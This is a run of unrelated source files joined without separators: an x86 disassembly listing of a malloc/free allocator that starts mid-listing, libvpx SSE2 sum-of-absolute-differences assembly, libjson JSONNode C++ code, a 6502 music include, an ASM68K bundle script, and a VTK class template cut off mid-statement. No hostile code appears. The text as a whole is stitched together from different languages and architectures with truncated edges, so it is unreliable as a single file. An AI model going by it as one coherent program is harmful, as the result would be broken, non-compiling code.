88e: 8b 10 mov (%eax),%edx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 890: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 893: 39 c8 cmp %ecx,%eax 895: 73 19 jae 8b0 <free+0x30> 897: 89 f6 mov %esi,%esi 899: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 8a0: 39 d1 cmp %edx,%ecx 8a2: 72 1c jb 8c0 <free+0x40> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 8a4: 39 d0 cmp %edx,%eax 8a6: 73 18 jae 8c0 <free+0x40> static Header base; static Header *freep; void free(void *ap) { 8a8: 89 d0 mov %edx,%eax Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 8aa: 39 c8 cmp %ecx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 8ac: 8b 10 mov (%eax),%edx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 8ae: 72 f0 jb 8a0 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 8b0: 39 d0 cmp %edx,%eax 8b2: 72 f4 jb 8a8 <free+0x28> 8b4: 39 d1 cmp %edx,%ecx 8b6: 73 f0 jae 8a8 <free+0x28> 8b8: 90 nop 8b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; if(bp + bp->s.size == p->s.ptr){ 8c0: 8b 73 fc mov -0x4(%ebx),%esi 8c3: 8d 3c f1 lea (%ecx,%esi,8),%edi 8c6: 39 d7 cmp %edx,%edi 8c8: 74 19 je 8e3 <free+0x63> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 8ca: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 8cd: 8b 50 04 mov 0x4(%eax),%edx 8d0: 8d 34 d0 lea (%eax,%edx,8),%esi 8d3: 39 f1 cmp %esi,%ecx 8d5: 74 23 je 8fa <free+0x7a> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 8d7: 89 08 mov %ecx,(%eax) freep = p; 8d9: a3 70 0d 00 00 mov %eax,0xd70 } 8de: 5b pop %ebx 8df: 5e pop %esi 8e0: 5f pop %edi 8e1: 5d pop %ebp 8e2: c3 ret bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 8e3: 03 72 04 add 0x4(%edx),%esi 8e6: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 8e9: 8b 10 mov (%eax),%edx 8eb: 8b 12 mov (%edx),%edx 8ed: 89 53 f8 mov %edx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 8f0: 8b 50 04 mov 0x4(%eax),%edx 8f3: 8d 34 d0 lea (%eax,%edx,8),%esi 8f6: 39 f1 cmp %esi,%ecx 8f8: 75 dd jne 8d7 <free+0x57> p->s.size += bp->s.size; 8fa: 03 53 fc add -0x4(%ebx),%edx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 8fd: a3 70 0d 00 00 mov %eax,0xd70 bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 902: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 905: 8b 53 f8 mov -0x8(%ebx),%edx 908: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 90a: 5b pop %ebx 90b: 5e pop %esi 90c: 5f pop %edi 90d: 5d pop %ebp 90e: c3 ret 90f: 90 nop 00000910 <malloc>: return freep; } void* malloc(uint nbytes) { 910: 55 push %ebp 911: 89 e5 mov %esp,%ebp 913: 57 push %edi 914: 56 push %esi 915: 53 push %ebx 916: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 919: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 91c: 8b 15 70 0d 00 00 mov 0xd70,%edx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 922: 8d 78 07 lea 0x7(%eax),%edi 925: c1 ef 03 shr $0x3,%edi 928: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 92b: 85 d2 test %edx,%edx 92d: 0f 84 a3 00 00 00 je 9d6 <malloc+0xc6> 933: 8b 02 mov (%edx),%eax 935: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 938: 39 cf cmp %ecx,%edi 93a: 76 74 jbe 9b0 <malloc+0xa0> 93c: 81 ff 00 10 00 00 cmp $0x1000,%edi 942: be 00 10 00 00 mov $0x1000,%esi 947: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx 94e: 0f 43 f7 cmovae %edi,%esi 951: ba 00 80 00 00 mov $0x8000,%edx 956: 81 ff ff 0f 00 00 cmp $0xfff,%edi 95c: 0f 46 da cmovbe %edx,%ebx 95f: eb 10 jmp 971 <malloc+0x61> 961: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 968: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 96a: 8b 48 04 mov 0x4(%eax),%ecx 96d: 39 cf cmp %ecx,%edi 96f: 76 3f jbe 9b0 <malloc+0xa0> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 971: 39 05 70 0d 00 00 cmp %eax,0xd70 977: 89 c2 mov %eax,%edx 979: 75 ed jne 968 <malloc+0x58> char *p; Header *hp; if(nu < 4096) nu = 4096; p = sbrk(nu * sizeof(Header)); 97b: 83 ec 0c sub $0xc,%esp 97e: 53 push %ebx 97f: e8 86 fc ff ff call 60a <sbrk> if(p == (char*)-1) 984: 83 c4 10 add $0x10,%esp 987: 83 f8 ff cmp $0xffffffff,%eax 98a: 74 1c je 9a8 <malloc+0x98> return 0; hp = (Header*)p; hp->s.size = nu; 98c: 89 70 04 mov %esi,0x4(%eax) free((void*)(hp + 1)); 98f: 83 ec 0c sub $0xc,%esp 992: 83 c0 08 add $0x8,%eax 995: 50 push %eax 996: e8 e5 fe ff ff call 880 <free> return freep; 99b: 8b 15 70 0d 00 00 mov 0xd70,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 9a1: 83 c4 10 add $0x10,%esp 9a4: 85 d2 test %edx,%edx 9a6: 75 c0 jne 968 <malloc+0x58> return 0; 9a8: 31 c0 xor %eax,%eax 9aa: eb 1c jmp 9c8 <malloc+0xb8> 9ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) 9b0: 39 cf cmp %ecx,%edi 9b2: 74 1c je 9d0 <malloc+0xc0> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 9b4: 29 f9 sub %edi,%ecx 9b6: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 9b9: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 9bc: 89 78 04 mov %edi,0x4(%eax) } freep = prevp; 9bf: 89 15 70 0d 00 00 mov %edx,0xd70 return (void*)(p + 1); 9c5: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 9c8: 8d 65 f4 lea -0xc(%ebp),%esp 9cb: 5b pop %ebx 9cc: 5e pop %esi 9cd: 5f pop %edi 9ce: 5d pop %ebp 9cf: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 9d0: 8b 08 mov (%eax),%ecx 9d2: 89 0a mov %ecx,(%edx) 9d4: eb e9 jmp 9bf <malloc+0xaf> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 9d6: c7 05 70 0d 00 00 74 movl $0xd74,0xd70 9dd: 0d 00 00 9e0: c7 05 74 0d 00 00 74 movl $0xd74,0xd74 9e7: 0d 00 00 base.s.size = 0; 9ea: b8 74 0d 00 00 mov $0xd74,%eax 9ef: c7 05 78 0d 00 00 00 movl $0x0,0xd78 9f6: 00 00 00 9f9: e9 3e ff ff ff jmp 93c <malloc+0x2c>
; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; %include "vpx_ports/x86_abi_support.asm" ;unsigned int vp8_sad16x16_wmt( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride) global sym(vp8_sad16x16_wmt) PRIVATE sym(vp8_sad16x16_wmt): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 4 SAVE_XMM 6 push rsi push rdi ; end prolog mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;ref_ptr movsxd rax, dword ptr arg(1) ;src_stride movsxd rdx, dword ptr arg(3) ;ref_stride lea rcx, [rsi+rax*8] lea rcx, [rcx+rax*8] pxor xmm6, xmm6 .x16x16sad_wmt_loop: movq xmm0, QWORD PTR [rsi] movq xmm2, QWORD PTR [rsi+8] movq xmm1, QWORD PTR [rdi] movq xmm3, QWORD PTR [rdi+8] movq xmm4, QWORD PTR [rsi+rax] movq xmm5, QWORD PTR [rdi+rdx] punpcklbw xmm0, xmm2 punpcklbw xmm1, xmm3 psadbw xmm0, xmm1 movq xmm2, QWORD PTR [rsi+rax+8] movq xmm3, QWORD PTR [rdi+rdx+8] lea rsi, [rsi+rax*2] lea rdi, [rdi+rdx*2] punpcklbw xmm4, xmm2 punpcklbw xmm5, xmm3 psadbw xmm4, xmm5 paddw xmm6, xmm0 paddw xmm6, xmm4 cmp rsi, rcx jne .x16x16sad_wmt_loop movq xmm0, xmm6 psrldq xmm6, 8 paddw xmm0, xmm6 movq rax, xmm0 ; begin epilog pop rdi pop rsi RESTORE_XMM UNSHADOW_ARGS pop rbp ret ;unsigned int vp8_sad8x16_wmt( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride, ; int max_sad) global sym(vp8_sad8x16_wmt) PRIVATE sym(vp8_sad8x16_wmt): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 5 push rbx push rsi push rdi ; end prolog mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;ref_ptr movsxd rbx, dword ptr arg(1) ;src_stride movsxd rdx, dword ptr arg(3) ;ref_stride lea rcx, [rsi+rbx*8] lea rcx, [rcx+rbx*8] pxor mm7, mm7 .x8x16sad_wmt_loop: movq rax, mm7 cmp eax, arg(4) ja .x8x16sad_wmt_early_exit movq mm0, QWORD PTR [rsi] movq mm1, QWORD PTR [rdi] movq mm2, QWORD PTR [rsi+rbx] movq mm3, QWORD PTR [rdi+rdx] psadbw mm0, mm1 psadbw mm2, mm3 lea rsi, [rsi+rbx*2] lea rdi, [rdi+rdx*2] paddw mm7, mm0 paddw mm7, mm2 cmp rsi, rcx jne .x8x16sad_wmt_loop movq rax, mm7 .x8x16sad_wmt_early_exit: ; begin epilog pop rdi pop rsi pop rbx UNSHADOW_ARGS pop rbp ret ;unsigned int vp8_sad8x8_wmt( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride) global sym(vp8_sad8x8_wmt) PRIVATE sym(vp8_sad8x8_wmt): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 5 push rbx push rsi push rdi ; end prolog mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;ref_ptr movsxd rbx, dword ptr arg(1) ;src_stride movsxd rdx, dword ptr arg(3) ;ref_stride lea rcx, [rsi+rbx*8] pxor mm7, mm7 .x8x8sad_wmt_loop: movq rax, mm7 cmp eax, arg(4) ja .x8x8sad_wmt_early_exit movq mm0, QWORD PTR [rsi] movq mm1, QWORD PTR [rdi] psadbw mm0, mm1 lea rsi, [rsi+rbx] add rdi, rdx paddw mm7, mm0 cmp rsi, rcx jne .x8x8sad_wmt_loop movq rax, mm7 .x8x8sad_wmt_early_exit: ; begin epilog pop rdi pop rsi pop rbx UNSHADOW_ARGS pop rbp ret ;unsigned int vp8_sad4x4_wmt( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride) global sym(vp8_sad4x4_wmt) PRIVATE sym(vp8_sad4x4_wmt): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 4 push rsi push rdi ; end prolog mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;ref_ptr movsxd rax, dword ptr arg(1) ;src_stride movsxd rdx, dword ptr arg(3) ;ref_stride movd mm0, DWORD PTR [rsi] movd mm1, DWORD PTR [rdi] movd mm2, DWORD PTR [rsi+rax] movd mm3, DWORD PTR [rdi+rdx] punpcklbw mm0, mm2 punpcklbw mm1, mm3 psadbw mm0, mm1 lea rsi, [rsi+rax*2] lea rdi, [rdi+rdx*2] movd mm4, DWORD PTR [rsi] movd mm5, DWORD PTR [rdi] movd mm6, DWORD PTR [rsi+rax] movd mm7, DWORD PTR [rdi+rdx] punpcklbw mm4, mm6 punpcklbw mm5, mm7 psadbw mm4, mm5 paddw mm0, mm4 movq rax, mm0 ; begin epilog pop rdi pop rsi UNSHADOW_ARGS pop rbp ret ;unsigned int vp8_sad16x8_wmt( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *ref_ptr, ; int ref_stride) global sym(vp8_sad16x8_wmt) PRIVATE sym(vp8_sad16x8_wmt): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 5 push rbx push rsi push rdi ; end prolog mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;ref_ptr movsxd rbx, dword ptr arg(1) ;src_stride movsxd rdx, dword ptr arg(3) ;ref_stride lea rcx, [rsi+rbx*8] pxor mm7, mm7 .x16x8sad_wmt_loop: movq rax, mm7 cmp eax, arg(4) ja .x16x8sad_wmt_early_exit movq mm0, QWORD PTR [rsi] movq mm2, QWORD PTR [rsi+8] movq mm1, QWORD PTR [rdi] movq mm3, QWORD PTR [rdi+8] movq mm4, QWORD PTR [rsi+rbx] movq mm5, QWORD PTR [rdi+rdx] psadbw mm0, mm1 psadbw mm2, mm3 movq mm1, QWORD PTR [rsi+rbx+8] movq mm3, QWORD PTR [rdi+rdx+8] psadbw mm4, mm5 psadbw mm1, mm3 lea rsi, [rsi+rbx*2] lea rdi, [rdi+rdx*2] paddw mm0, mm2 paddw mm4, mm1 paddw mm7, mm0 paddw mm7, mm4 cmp rsi, rcx jne .x16x8sad_wmt_loop movq rax, mm7 .x16x8sad_wmt_early_exit: ; begin epilog pop rdi pop rsi pop rbx UNSHADOW_ARGS pop rbp ret ;void vp8_copy32xn_sse2( ; unsigned char *src_ptr, ; int src_stride, ; unsigned char *dst_ptr, ; int dst_stride, ; int height); global sym(vp8_copy32xn_sse2) PRIVATE sym(vp8_copy32xn_sse2): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 5 SAVE_XMM 7 push rsi push rdi ; end prolog mov rsi, arg(0) ;src_ptr mov rdi, arg(2) ;dst_ptr movsxd rax, dword ptr arg(1) ;src_stride movsxd rdx, dword ptr arg(3) ;dst_stride movsxd rcx, dword ptr arg(4) ;height .block_copy_sse2_loopx4: movdqu xmm0, XMMWORD PTR [rsi] movdqu xmm1, XMMWORD PTR [rsi + 16] movdqu xmm2, XMMWORD PTR [rsi + rax] movdqu xmm3, XMMWORD PTR [rsi + rax + 16] lea rsi, [rsi+rax*2] movdqu xmm4, XMMWORD PTR [rsi] movdqu xmm5, XMMWORD PTR [rsi + 16] movdqu xmm6, XMMWORD PTR [rsi + rax] movdqu xmm7, XMMWORD PTR [rsi + rax + 16] lea rsi, [rsi+rax*2] movdqa XMMWORD PTR [rdi], xmm0 movdqa XMMWORD PTR [rdi + 16], xmm1 movdqa XMMWORD PTR [rdi + rdx], xmm2 movdqa XMMWORD PTR [rdi + rdx + 16], xmm3 lea rdi, [rdi+rdx*2] movdqa XMMWORD PTR [rdi], xmm4 movdqa XMMWORD PTR [rdi + 16], xmm5 movdqa XMMWORD PTR [rdi + rdx], xmm6 movdqa XMMWORD PTR [rdi + rdx + 16], xmm7 lea rdi, [rdi+rdx*2] sub rcx, 4 cmp rcx, 4 jge .block_copy_sse2_loopx4 cmp rcx, 0 je .copy_is_done .block_copy_sse2_loop: movdqu xmm0, XMMWORD PTR [rsi] movdqu xmm1, XMMWORD PTR [rsi + 16] lea rsi, [rsi+rax] movdqa XMMWORD PTR [rdi], xmm0 movdqa XMMWORD PTR [rdi + 16], xmm1 lea rdi, [rdi+rdx] sub rcx, 1 jne .block_copy_sse2_loop .copy_is_done: ; begin epilog pop rdi pop rsi RESTORE_XMM UNSHADOW_ARGS pop rbp ret
#include "JSONNode.h" #define IMPLEMENT_CTOR(type)\ JSONNode::JSONNode(const json_string & name_t, type value_t) json_nothrow : internal(internalJSONNode::newInternal()){\ internal -> Set(value_t);\ internal -> setname(name_t);\ LIBJSON_CTOR;\ } IMPLEMENT_FOR_ALL_TYPES(IMPLEMENT_CTOR) #ifndef JSON_LIBRARY JSONNode::JSONNode(const json_string & name_t, const json_char * value_t) json_nothrow : internal(internalJSONNode::newInternal()){ internal -> Set(json_string(value_t)); internal -> setname(name_t); LIBJSON_CTOR; } #endif #if (defined(JSON_PREPARSE) && defined(JSON_READ_PRIORITY)) #include "JSONWorker.h" JSONNode JSONNode::stringType(const json_string & str){ JSONNode res; res.set_name(json_global(EMPTY_JSON_STRING)); #ifdef JSON_LESS_MEMORY res = JSONWorker::FixString(str, res.internal, false); #else res = JSONWorker::FixString(str, res.internal -> _string_encoded); #endif return res; } void JSONNode::set_name_(const json_string & newname) json_nothrow { #ifdef JSON_LESS_MEMORY json_string _newname = JSONWorker::FixString(newname, internal, true); #else json_string _newname = JSONWorker::FixString(newname, internal -> _name_encoded); #endif set_name(_newname); } #endif #ifdef JSON_CASTABLE JSONNode JSONNode::as_node(void) const json_nothrow { JSON_CHECK_INTERNAL(); if (type() == JSON_NODE){ return *this; } else if (type() == JSON_ARRAY){ JSONNode res(duplicate()); res.internal -> _type = JSON_NODE; return res; } #ifdef JSON_MUTEX_CALLBACKS if (internal -> mylock != 0){ JSONNode res(JSON_NODE); res.set_mutex(internal -> mylock); return res; } #endif return JSONNode(JSON_NODE); } JSONNode JSONNode::as_array(void) const json_nothrow { JSON_CHECK_INTERNAL(); if (type() == JSON_ARRAY){ return *this; } else if (type() == JSON_NODE){ JSONNode res(duplicate()); res.internal -> _type = JSON_ARRAY; json_foreach(res.internal -> CHILDREN, runner){ (*runner) -> clear_name(); } return res; } #ifdef JSON_MUTEX_CALLBACKS if (internal -> mylock != 0){ JSONNode res(JSON_ARRAY); res.set_mutex(internal -> mylock); return res; } #endif return JSONNode(JSON_ARRAY); } void JSONNode::cast(char newtype) json_nothrow { JSON_CHECK_INTERNAL(); if (newtype == type()) return; switch(newtype){ case JSON_NULL: nullify(); return; case JSON_STRING: *this = as_string(); return; case JSON_NUMBER: *this = as_float(); return; case JSON_BOOL: *this = as_bool(); return; case JSON_ARRAY: *this = as_array(); return; case JSON_NODE: *this = as_node(); return; } JSON_FAIL(JSON_TEXT("cast to unknown type")); } #endif //different just to supress the warning #ifdef JSON_REF_COUNT void JSONNode::merge(JSONNode & other) json_nothrow { #else void JSONNode::merge(JSONNode &) json_nothrow { #endif JSON_CHECK_INTERNAL(); #ifdef JSON_REF_COUNT if (internal == other.internal) return; JSON_ASSERT(*this == other, JSON_TEXT("merging two nodes that aren't equal")); if (internal -> refcount < other.internal -> refcount){ *this = other; } else { other = *this; } #endif } #ifdef JSON_REF_COUNT void JSONNode::merge(JSONNode * other) json_nothrow { JSON_CHECK_INTERNAL(); if (internal == other -> internal) return; *other = *this; } //different just to supress the warning void JSONNode::merge(unsigned int num, ...) json_nothrow { #else void JSONNode::merge(unsigned int, ...) json_nothrow { #endif JSON_CHECK_INTERNAL(); #ifdef JSON_REF_COUNT va_list args; va_start(args, num); for(unsigned int i = 0; i < num; ++i){ merge(va_arg(args, JSONNode*)); } va_end(args); #endif } JSONNode JSONNode::duplicate(void) const json_nothrow { JSON_CHECK_INTERNAL(); JSONNode mycopy(*this); #ifdef JSON_REF_COUNT JSON_ASSERT(internal == mycopy.internal, JSON_TEXT("copy ctor failed to ref count correctly")); mycopy.makeUniqueInternal(); #endif JSON_ASSERT(internal != mycopy.internal, JSON_TEXT("makeUniqueInternal failed")); return mycopy; } JSONNode & JSONNode::at(json_index_t pos) json_throws(std::out_of_range) { JSON_CHECK_INTERNAL(); if (json_unlikely(pos >= internal -> size())){ JSON_FAIL(JSON_TEXT("at() out of bounds")); json_throw(std::out_of_range(json_global(EMPTY_STD_STRING))); } return (*this)[pos]; } const JSONNode & JSONNode::at(json_index_t pos) const json_throws(std::out_of_range) { JSON_CHECK_INTERNAL(); if (json_unlikely(pos >= internal -> size())){ JSON_FAIL(JSON_TEXT("at() const out of bounds")); json_throw(std::out_of_range(json_global(EMPTY_STD_STRING))); } return (*this)[pos]; } JSONNode & JSONNode::operator[](json_index_t pos) json_nothrow { JSON_CHECK_INTERNAL(); JSON_ASSERT(pos < internal -> size(), JSON_TEXT("[] out of bounds")); makeUniqueInternal(); return *(internal -> at(pos)); } const JSONNode & JSONNode::operator[](json_index_t pos) const json_nothrow { JSON_CHECK_INTERNAL(); JSON_ASSERT(pos < internal -> size(), JSON_TEXT("[] const out of bounds")); return *(internal -> at(pos)); } JSONNode & JSONNode::at(const json_string & name_t) json_throws(std::out_of_range) { JSON_CHECK_INTERNAL(); JSON_ASSERT(type() == JSON_NODE, json_global(ERROR_NON_ITERATABLE) + JSON_TEXT("at")); makeUniqueInternal(); if (JSONNode ** res = internal -> at(name_t)){ return *(*res); } JSON_FAIL(json_string(JSON_TEXT("at could not find child by name: ")) + name_t); json_throw(std::out_of_range(json_global(EMPTY_STD_STRING))); } const JSONNode & JSONNode::at(const json_string & name_t) const json_throws(std::out_of_range) { JSON_CHECK_INTERNAL(); JSON_ASSERT(type() == JSON_NODE, json_global(ERROR_NON_ITERATABLE) + JSON_TEXT("at")); if (JSONNode ** res = internal -> at(name_t)){ return *(*res); } JSON_FAIL(json_string(JSON_TEXT("at const could not find child by name: ")) + name_t); json_throw(std::out_of_range(json_global(EMPTY_STD_STRING))); } #ifdef JSON_CASE_INSENSITIVE_FUNCTIONS JSONNode & JSONNode::at_nocase(const json_string & name_t) json_throws(std::out_of_range) { JSON_CHECK_INTERNAL(); JSON_ASSERT(type() == JSON_NODE, json_global(ERROR_NON_ITERATABLE) + JSON_TEXT("at_nocase")); makeUniqueInternal(); if (JSONNode ** res = internal -> at_nocase(name_t)){ return *(*res); } JSON_FAIL(json_string(JSON_TEXT("at_nocase could not find child by name: ")) + name_t); json_throw(std::out_of_range(json_global(EMPTY_STD_STRING))); } const JSONNode & JSONNode::at_nocase(const json_string & name_t) const json_throws(std::out_of_range) { JSON_CHECK_INTERNAL(); JSON_ASSERT(type() == JSON_NODE, json_global(ERROR_NON_ITERATABLE) + JSON_TEXT("at_nocase")); if (JSONNode ** res = internal -> at_nocase(name_t)){ return *(*res); } JSON_FAIL(json_string(JSON_TEXT("at_nocase const could not find child by name: ")) + name_t); json_throw(std::out_of_range(json_global(EMPTY_STD_STRING))); } #endif #ifndef JSON_LIBRARY struct auto_delete { public: auto_delete(JSONNode * node) json_nothrow : mynode(node){}; ~auto_delete(void) json_nothrow { JSONNode::deleteJSONNode(mynode); }; JSONNode * mynode; private: auto_delete(const auto_delete &); auto_delete & operator = (const auto_delete &); }; #endif JSONNode JSON_PTR_LIB JSONNode::pop_back(json_index_t pos) json_throws(std::out_of_range) { JSON_CHECK_INTERNAL(); if (json_unlikely(pos >= internal -> size())){ JSON_FAIL(JSON_TEXT("pop_back out of bounds")); json_throw(std::out_of_range(json_global(EMPTY_STD_STRING))); } makeUniqueInternal(); #ifdef JSON_LIBRARY return internal -> pop_back(pos); #else auto_delete temp(internal -> pop_back(pos)); return *temp.mynode; #endif } JSONNode JSON_PTR_LIB JSONNode::pop_back(const json_string & name_t) json_throws(std::out_of_range) { JSON_CHECK_INTERNAL(); JSON_ASSERT(type() == JSON_NODE, json_global(ERROR_NON_ITERATABLE) + JSON_TEXT("pop_back")); #ifdef JSON_LIBRARY return internal -> pop_back(name_t); #else if (JSONNode * res = internal -> pop_back(name_t)){ auto_delete temp(res); return *(temp.mynode); } JSON_FAIL(json_string(JSON_TEXT("pop_back const could not find child by name: ")) + name_t); json_throw(std::out_of_range(json_global(EMPTY_STD_STRING))); #endif } #ifdef JSON_CASE_INSENSITIVE_FUNCTIONS JSONNode JSON_PTR_LIB JSONNode::pop_back_nocase(const json_string & name_t) json_throws(std::out_of_range) { JSON_CHECK_INTERNAL(); JSON_ASSERT(type() == JSON_NODE, json_global(ERROR_NON_ITERATABLE) + JSON_TEXT("pop_back_no_case")); #ifdef JSON_LIBRARY return internal -> pop_back_nocase(name_t); #else if (JSONNode * res = internal -> pop_back_nocase(name_t)){ auto_delete temp(res); return *(temp.mynode); } JSON_FAIL(json_string(JSON_TEXT("pop_back_nocase could not find child by name: ")) + name_t); json_throw(std::out_of_range(json_global(EMPTY_STD_STRING))); #endif } #endif #ifdef JSON_MEMORY_POOL #include "JSONMemoryPool.h" // http://www.parashift.com/c++-faq-lite/static-init-order.html (sections 10.14 - 10.17) typedef memory_pool<NODEPOOL> json_node_mempool_t; json_node_mempool_t &json_node_mempool_f() { static json_node_mempool_t jnm; return jnm; } #define json_node_mempool json_node_mempool_f() // ~ memory_pool<NODEPOOL> json_node_mempool; #endif void JSONNode::deleteJSONNode(JSONNode * ptr) json_nothrow { #ifdef JSON_MEMORY_POOL ptr -> ~JSONNode(); json_node_mempool.deallocate((void*)ptr); #elif defined(JSON_MEMORY_CALLBACKS) ptr -> ~JSONNode(); libjson_free<JSONNode>(ptr); #else delete ptr; #endif } inline JSONNode * _newJSONNode(const JSONNode & orig) { #ifdef JSON_MEMORY_POOL return new((JSONNode*)json_node_mempool.allocate()) JSONNode(orig); #elif defined(JSON_MEMORY_CALLBACKS) return new(json_malloc<JSONNode>(1)) JSONNode(orig); #else return new JSONNode(orig); #endif } JSONNode * JSONNode::newJSONNode(const JSONNode & orig JSON_MUTEX_COPY_DECL) { #ifdef JSON_MUTEX_CALLBACKS if (parentMutex != 0){ JSONNode * temp = _newJSONNode(orig); temp -> set_mutex(parentMutex); return temp; } #endif return _newJSONNode(orig); } JSONNode * JSONNode::newJSONNode(internalJSONNode * internal_t) { #ifdef JSON_MEMORY_POOL return new((JSONNode*)json_node_mempool.allocate()) JSONNode(internal_t); #elif defined(JSON_MEMORY_CALLBACKS) return new(json_malloc<JSONNode>(1)) JSONNode(internal_t); #else return new JSONNode(internal_t); #endif } JSONNode * JSONNode::newJSONNode_Shallow(const JSONNode & orig) { #ifdef JSON_MEMORY_POOL return new((JSONNode*)json_node_mempool.allocate()) JSONNode(true, const_cast<JSONNode &>(orig)); #elif defined(JSON_MEMORY_CALLBACKS) return new(json_malloc<JSONNode>(1)) JSONNode(true, const_cast<JSONNode &>(orig)); #else return new JSONNode(true, const_cast<JSONNode &>(orig)); #endif }
processor 6502 include "standard.asm" ORG MEMPOS_STANDARD_SONG include "player_const.asm" include "player_symbols.asm" include "welt4_star1.asm"
################################################################ ## Bundle compilation script for use in ASM68K-based programs ## ################################################################ #define DEBUG #define BUNDLE-ASM68K #file bundle-asm68k-debug/Debugger.asm #include Debugger.asm #endf #file bundle-asm68k-debug/ErrorHandler.asm #include ErrorHandler.asm #endf
/*========================================================================= Program: Visualization Toolkit Module: vtkImageFoo.cxx Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen All rights reserved. See Copyright.txt or http://www.kitware.com/Copyright.htm for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notice for more information. =========================================================================*/ #include "vtkImageFoo.h" #include "vtkBar.h" #include "vtkImageData.h" #include "vtkInformationVector.h" #include "vtkObjectFactory.h" //---------------------------------------------------------------------------- vtkStandardNewMacro(vtkImageFoo); //---------------------------------------------------------------------------- vtkImageFoo::vtkImageFoo() { this->Foo = 0.0; this->OutputScalarType = -1; this->Bar = vtkBar::New(); } //---------------------------------------------------------------------------- vtkImageFoo::~vtkImageFoo() { if (this->Bar) { this->Bar->Delete(); this->Bar = nullptr; } } //---------------------------------------------------------------------------- void vtkImageFoo::PrintSelf(ostream& os, vtkIndent indent) { this->Superclass::PrintSelf(os, indent); os << indent << "Foo: " << 